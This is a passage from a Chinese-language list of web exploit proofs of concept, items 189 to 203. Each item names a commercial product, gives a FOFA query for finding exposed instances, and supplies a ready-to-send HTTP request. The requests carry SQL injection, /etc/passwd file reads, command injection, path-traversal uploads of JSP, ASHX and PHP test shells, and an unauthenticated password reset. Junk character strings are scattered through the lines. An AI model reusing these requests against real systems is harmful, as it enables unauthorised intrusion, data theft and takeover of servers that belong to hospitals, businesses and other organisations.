# F4 K( O" q) F6 SGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
, I4 l+ y5 T3 k0 M3 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ G6 o0 ?3 X, p/ p, C! jAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 A; X+ O$ ?/ ?1 Q& L3 C6 @Connection: close
4 X7 i0 J. ~" n4 B* M" G0 u
. ^- d0 ?0 `; z) |; `/ ?
, M. G) |3 {& P1 o189. 蓝网科技临床浏览系统 deleteStudy SQL注入
6 v# E0 o8 W8 U+ c9 J- JFOFA：app="LANWON-临床浏览系统"
% U. Q* C. D! |! R# X( ^GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
% M. m  A9 A- t! zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: |! V4 \5 f: x8 h, H- Z+ cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- u- w3 t7 y1 @
2 `0 F0 j- S/ N) t2 `0 E
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
- a! F7 Y5 L  u1 h% u4 H+ KFOFA：title=="短视频矩阵营销系统"
6 S1 {' O) t& t6 ^9 PPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
) B6 P0 {* f/ l% y- u2 a' I( kHost: your-ip
' ]/ S, F! ~# B- F2 z# UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
, \; p8 X9 ?/ ]7 l4 J& `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
% |0 y6 q: E5 F1 A  O& jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& j$ Z/ P) u  t$ A; v6 N
poi=file:///etc/passwd

' q* ~* ~) L! d
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
# j# L. T) [1 D2 x+ P: N! _/ `POST /CDGServer3/js/../NavigationAjax HTTP/1.1
- f# T8 {% d' B/ ~5 ^5 \1 z; CHost: your-ip
- a+ b% a4 R& z4 B% o3 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# ^/ f' S* i  o' I2 A
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

; ^  H' c4 w+ j
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
  k! W0 \6 o2 z  j' KHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; |3 a2 V) ^9 @, kContent-Type: application/x-www-form-urlencoded

% H9 s2 x: a' t/ u$ y
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
( k. h# _: w  i6 z/ B  xusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
0 p% v# L! G  V* X) t! a. ?# Bpublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
# V. j0 |2 H0 Y3 p  p8 }! V}
}
, ~, w1 L9 @  a! s. B/ |

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
' I6 S5 B" Y# t( oFOFA：body="山石云鉴主机安全管理系统"
& d- C3 I" b# q# YGET /master/ajaxActions/getTokenAction.php HTTP/1.1
2 r8 @" \, E* X5 I/ }Host:
% U( n' `. n" xCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


8 W9 ^/ X- i4 _. e% m1 jPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
- u7 q6 K6 t+ q/ J8 J; q8 s" c& W* nUser-Agent: Mozilla/5.0
, n; E( W0 u. cAccept-Encoding: gzip, deflate
" h6 M6 v* U  v9 R. ~$ \6 TAccept: */*
2 }2 M" W; v# B* I+ pConnection: close
Cookie: PHPSESSID=2333333333333;
- l3 B4 N3 p3 v( |& TContent-Type: application/x-www-form-urlencoded
) V4 d& C$ U0 W1 [. T+ VContent-Length: 84
7 Z+ F; p* z3 X0 M# M+ c
' O7 `) |" j. n9 i6 Y' y8 d' o" \param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

! W7 W& L1 Z% ~5 S( f' w6 A% }
" S$ z# q" `' `+ `8 [  xGET /master/img/config HTTP/1.1
) Z  t& i: {# @( u9 M  @  ?Host:
1 W& X; {2 |! b9 q; HUser-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

" k% a9 v" Y- q5 A/ a4 kPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
8 R4 g& f  _" C- o2 X% x" n" d: rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ z% G, v% I, k6 o' r' iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ E9 m) g; n* a3 R% VAccept-Encoding: gzip, deflate
Connection: close
# Y$ P- P' H+ b4 y9 `# GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
' O, J0 e* C" G, p; w+ u
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
9 g  R: U% G' ~- a& |9 G+ @- k<% out.println("hello");%>
" f) u+ c0 x. Z* q. Z1 M0 Z. H------WebKitFormBoundaryKNt0t4vBe8cX9rZk
# \, a; w4 a( QContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
4 @/ j6 d( X- s" `
0 V( I! o3 @- a- V' f
( c, y! W: g) P, ~0 y% `( a6 p195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
) a0 q5 Y6 X8 H9 S; ~FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
9 I; [, q$ z7 z% `) pPragma: no-cache
) l9 Q8 P2 `( u# d5 ]$ ?Cache-Control: no-cache
  ^: K4 x: s8 K" d! GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
. L, p; q' G7 G' }Accept: */*
Accept-Encoding: gzip, deflate
8 }3 w0 W( H6 O. k9 c; qAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ D+ e! B; `( |/ ~: W$ jContent-Type: application/x-www-form-urlencoded
Content-Length: 68
; z5 b1 S8 ~8 k, b$ r% t4 {; B
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


% b' C) ], l3 K0 Q5 S- D196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
5 L* K( T9 }- o* O& xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) w+ _2 D5 m0 a- C6 V/ l7 eContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
/ L7 h. C& F1 _& i' Q+ }Content-Length: 45
. s. N2 A& I6 C3 r3 cConnection: close

{"xgh":"test","newPass":"test666","email":""}
2 ^: k* {) E: E5 j2 j/ a9 `4 K
5 X9 d7 \7 ?3 F  w
1 L; [8 ]/ F: P: ]% y& n8 n, l
1 O" c; v' u# L& J197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
6 ^; g7 x7 f* f' J) T) ~, iFOFA：app="浙大恩特客户资源管理系统"
- H6 ?. j, F* o- D' ]4 bGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
/ m- _( \+ Q3 v8 yAccept-Encoding: gzip, deflate
! y1 M# r' `* o: n5 cConnection: close
8 L, b3 `9 e* g7 Y, N2 A


* F- ]( o$ S2 k( L" a* C! {, l198.  阿里云盘 WebDAV 命令注入
6 k/ S9 R$ ?: [  N5 l. q0 pCVE-2024-29640
- `2 k$ G" O7 W# b, bGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
7 ?' M" a( {  i7 e" ^Accept: */*
Accept-Encoding: gzip, deflate
0 i. b1 M2 v# F, xAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

. P" n7 p7 K7 F) i7 s
& e( L& |, v: v1 j* ~1 h! t+ @! F199. cockpit系统assetsmanager_upload接口 文件上传
2 v( g/ Z' [* x( }) U+ X/ x; V
+ @, I; B, `! B1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
; m' y2 J0 E5 U+ t
4 x3 I( G3 y  A6 W* P8 {% j( X: q2.使用刚才上一步获取到的jwt获取cookie：
. Z! B  a6 Y) ?; P! J
POST /auth/check HTTP/1.1
1 y! G& q; X2 E5 FContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
7 I5 f+ X& v; s" _$ x
响应：200，返回值:
9 ?! D; I' E# i2 \* y& g  iSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
( y  v3 T, G3 W* @9 l; @Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
$ ^1 \* t; G! M; VCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
8 a& u4 g; Z6 G6 C  i% v1 G" OContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
" \2 _& p% ~& B* [: N$ z0 K-----------------------------36D28FBc36bd6feE7Fb3
) u! @' V/ G$ `" @; Q# Y) UContent-Disposition: form-data; name="folder"
% h& ^7 y4 b) _& V. `
-----------------------------36D28FBc36bd6feE7Fb3--

, ~( j0 F3 @. g# L
/storage/uploads/tttt.php
; z" ^7 t+ O' S: \4 C9 [6 z
6 \% f! `: {7 o; S- j200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
, U+ _7 ^4 j/ d. cGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
1 Y0 P) r1 X. ^3 {Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
2 e/ y7 c- r5 a, W. w. PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

# d1 v& d' ~6 B# E. W3 C
201. 方正全媒体新闻采编系统 binary SQL注入
0 a" f) L% Z1 H) jFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
& Y2 L2 e) _1 d6 WContent-Type: application/x-www-form-urlencoded
" a7 U7 Y) u1 z" {( c! [$ B6 J! hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 \: E/ X$ P/ ~+ ?7 o8 jAccept-Language: zh-CN,zh;q=0.9
Connection: close
" D' v( O0 r& b  ?* Z* b) Z
" q1 N: B! ^) ^0 Q, E# e  ZTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
8 \9 R0 V+ a0 H4 D7 s. }
0 u- @! X3 w+ Y# U6 [
- y7 V$ J( Z  v* K& i9 o202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
" z/ b# N% e+ \: ^2 S0 L; t( AContent-Length: 0
' K! G. {5 Q& r3 Z

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
& }; X- D, a9 U: S, {Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
2 j2 K5 N& d# `: K
* K) R2 V; Y& r& A2 g# K& b__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
: E6 Y9 z( Y  c7 l" x+ e
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
6 A" F: `: R  E, mContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

) E  T% p- U4 X. }: gHello World!
( B! V0 @5 c* b& P0 i-----------------------------786435874t38587593865736587346567358735687
  [% k. Y, v( \$ nContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

: V$ U4 {' t5 ^9 G/ P; h/ i上传图片
3 I$ K* h+ t' E$ n: Q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
! {# v8 z- A( P7 q' d

3 v  C6 N  j6 ~-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
% \/ `  O0 i* ~9 Q7 @1 h" t
. O# F' p) [) x; e3 t+ X$ Z# k
-----------------------------786435874t38587593865736587346567358735687--
2 a3 ^2 L# \3 x- F. \8 Y7 E

3 @0 i, \' f6 J5 l5 L9 r& z/_data/Uploads/1123.txt
( i$ }$ t8 v% S% P$ R
) N  A3 j" _/ V8 B, P3 X203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
3 U# t* d7 X  h1 }0 q$ @Host: x.x.x.x
* @6 m0 q7 R- b1 }, IAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- E3 y5 N# V2 P2 rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
) _; R# E$ J* }% g7 D7 B. B, sContent-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
9 S/ ]  ^- V" ]9 z; ?" u8 D* dContent-Type:image/jpeg
: E0 }8 F! G& e% v8 @# c- I+ p3 Q: M
9 q! M0 z4 w4 w, l; X  D<% out.print("hello,eHR");%>
0 f8 V1 f( A2 a# w------WebKitFormBoundaryt7WbDl1tXogoZys4--

5 b+ L- E- B( M; b1 N3 U4 v/ h
0 f$ @+ Z, h- [. w. c# N7 @

2 U# K0 i% b& y6 Y" G. E
7 s& K% H$ q8 J, H* i
3 o9 |4 p: g" t